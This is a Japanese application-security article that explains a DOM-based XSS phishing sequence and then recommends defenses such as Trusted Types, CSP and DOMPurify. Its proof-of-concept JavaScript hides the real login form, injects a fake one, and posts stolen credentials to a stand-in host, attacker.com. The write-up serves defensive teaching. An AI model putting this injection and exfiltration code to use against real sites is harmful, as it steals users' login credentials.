【テクニカル・上級編】XSSによるフィッシングと認証情報窃取の攻撃シーケンス – アプリケーションセキュリティ & 安全な開発防御ガイド

XSSは「死んだ技術」か?―フィッシングの最前線で見える、DOM操作の泥沼

「XSS? 今さらそんな古典的な脆弱性で記事を書くのか?」

もし君がそう思ったなら、現場の最前線から少し距離を置いているのかもしれない。確かに、モダンなフレームワーク(ReactやVue)はデフォルトでエスケープ処理を噛ませるし、ブラウザ側のCSP(Content Security Policy)も成熟した。だが、攻撃者は常に「フレームワークの隙間」と「開発者の油断」の交差点で待ち構えている。

今日語るのは、単なるアラートボックスが出るようなXSSではない。「ユーザーを騙し、認証情報を完全に掌握する」ための、DOM注入によるフィッシング攻撃のシーケンスだ。

—

攻撃シーケンスの解剖:DOMベースの「偽装ログインフォーム」注入

攻撃者が狙うのは、サーバーサイドのレスポンスを介さない「DOM型XSS」だ。これはWAFをすり抜ける。なぜなら、ペイロードがサーバーを通過せず、クライアントサイドのJavaScriptによって直接DOMに反映されるからだ。

攻撃のロジックフロー

1. エントリポイントの特定: URLフラグメントや window.name など、サニタイズされていないソースを innerHTML や outerHTML に流し込んでいるシンク(sink)を特定する。
2. DOM注入: 攻撃者は、正規のログイン画面を一時的に非表示(display: none)にし、全く同じデザインの「偽フォーム」を document.body に挿入する。
3. イベントのインターセプト: 偽フォームの送信ボタンにイベントリスナーを仕込み、fetch または XMLHttpRequest で攻撃者のC2サーバーへ認証情報を転送する。
4. 隠蔽工作: 認証情報取得後、即座に偽フォームを削除し、正規のフォームを復元する。ユーザーは「通信エラーかな?」と思うだけで、自分のクレデンシャルが抜かれたことにすら気づかない。

攻撃コードの概念(Proof of Concept)

// 攻撃者は被害者に細工したURLを踏ませる
// URL: https://target.com/#

function injectPhishingForm() {
const loginForm = document.querySelector(‘#login-form’);
loginForm.style.display = ‘none’; // 正規フォームを隠す

const phishingForm = document.createElement(‘form’);
phishingForm.innerHTML = `



`;
document.body.appendChild(phishingForm);

// 認証情報を盗み出すリスナー
document.getElementById(‘submit-btn’).addEventListener(‘click’, () => {
const data = {
u: document.getElementById(‘fake-user’).value,
p: document.getElementById(‘fake-pass’).value
};
// 攻撃者のサーバーへ送信
fetch(‘https://attacker.com/log’, { method: ‘POST’, body: JSON.stringify(data) });

// 痕跡を消して正規画面へ戻す
phishingForm.remove();
loginForm.style.display = ‘block’;
});
}

—

最高峰の防衛戦略:防御のレイヤーを再構築せよ

この攻撃を防ぐには、単に「サニタイズしましょう」という標語では足りない。アーキテクトとしては、以下の多層防御を強制的に適用する必要がある。

1. Trusted Types API の導入(最強の防衛)

モダンブラウザが提供する Trusted Types は、危険なシンク(innerHTMLなど)へのデータ代入を厳格に制限する。開発者が明示的に「安全である」と証明したオブジェクト以外は、ブラウザがDOMへの注入を拒否する。

// CSPヘッダーでポリシーを定義
// Content-Security-Policy: require-trusted-types-for ‘script’;

const policy = trustedTypes.createPolicy(‘myPolicy’, {
createHTML: (input) => DOMPurify.sanitize(input) // DOMPurifyを通すことを強制
});

// 危険なシンクに直接文字列を渡すとブラウザが例外を投げる
element.innerHTML = policy.createHTML(userInput);

2. コンテキストアウェアなサニタイズ

innerHTML の使用自体を lint ルールで禁止せよ。ESLintの no-danger ルールは必須だ。どうしてもDOM生成が必要な場合は、textContent を使うか、テンプレートリテラルで構築する前に DOMPurify を通すフローをCI/CDパイプラインに組み込む。

3. プロンプトインジェクションへの応用(生成AI時代)

現在、LLMをバックエンドに持つアプリケーションで、AIの回答を innerHTML に流し込む実装が散見される。これは「生成AI経由のXSS」という新たな地獄を生む。AIが生成したテキストは「信頼できない外部入力」と定義し、必ずCSPとTrusted Typesでガードしなければならない。

—

結論:セキュリティは「信頼の破壊」から始まる

セキュリティアーキテクトとしての私の信条は、「開発者は人間であり、必ずミスをする」という前提に立つことだ。

XSSを防ぐ技術は、もはや言語仕様やライブラリのアップデートに依存するものではない。「DOMへの書き込みをいかにして純粋なデータに限定するか」という、アーキテクチャの規律の問題だ。

君たちが設計するアプリケーションが、もしユーザーの認証情報を守るべき場所であるなら、今すぐ Content-Security-Policy を厳格に設定し、Trusted Types の採用を検討してほしい。攻撃者は、君たちが「まさかこのライブラリでやられるはずがない」と思っているその一点を、冷徹に見つめているのだから。

泥臭いパケット解析も大事だが、まずはコードの静的解析とブラウザのセキュリティポリシーから、戦場を支配せよ。

コメント

タイトルとURLをコピーしました